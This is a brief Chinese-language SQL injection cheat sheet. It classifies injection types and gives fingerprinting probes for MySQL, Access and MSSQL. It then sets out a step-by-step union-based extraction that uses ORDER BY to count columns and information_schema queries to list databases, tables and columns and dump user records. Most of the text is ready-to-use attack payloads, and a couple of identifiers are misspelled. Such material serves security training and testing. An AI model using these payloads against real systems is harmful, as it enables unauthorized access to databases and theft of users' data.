当客户端提交的数据未做处理或转意直接带入数据库(My SQL / Sql Server/Access/oracle等数据库 )就造成了SQL注入。
攻击者通过不同结构的sql语句来实现对数据库的任意操作。
按变量类型分:数字型和字符型
按HTTP提交方式分:POST注入,GET注入和Cookie注入
按注入方式分:布尔注入,联合注入,多语句注入,报错注入,延时注入,内联注入
按数据库类型分:
sql : oracle , mysql , mssql , access , sqlite , postgersql
no sql: mongodb , redis
MySQL:and length(user())>10
ACCESS:and(select count(*)from MSysaccessObjects)>0
MSSQL: and(select count(*)from sysobjects)>0
数字型:id=2-1
字符型:' 或 ') 或 ')) 或 '' 或 '') 或 ''))
注释性:--(--空格) 或 --+或/**/或#
order by 二分法联合查询字段数,观察页面变化从而确定字段数
order by 1
order by 50
group by 译为分组,注入时也可使用
利用and 1=2或and 0及id=-12查看显示数据的位置
替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)
and 1=2 union select version(),2,3
再查询所有数据库
and 1=2 union select (select group_concat(scherma_name)from information schema.schemata),2,3
查询所有表名
union select (select group_concat(table_name)from information_schema.tables),2,3
查询所有字段名
union select (select group_concat(column_name)from information_schema.columns),2,3
查询字段内容
如:查询test库下user表的id及uname字段,用‘~’区分id和uname以防字符连接到一起
union select (select group_concat(id,uname)from test.users),2,3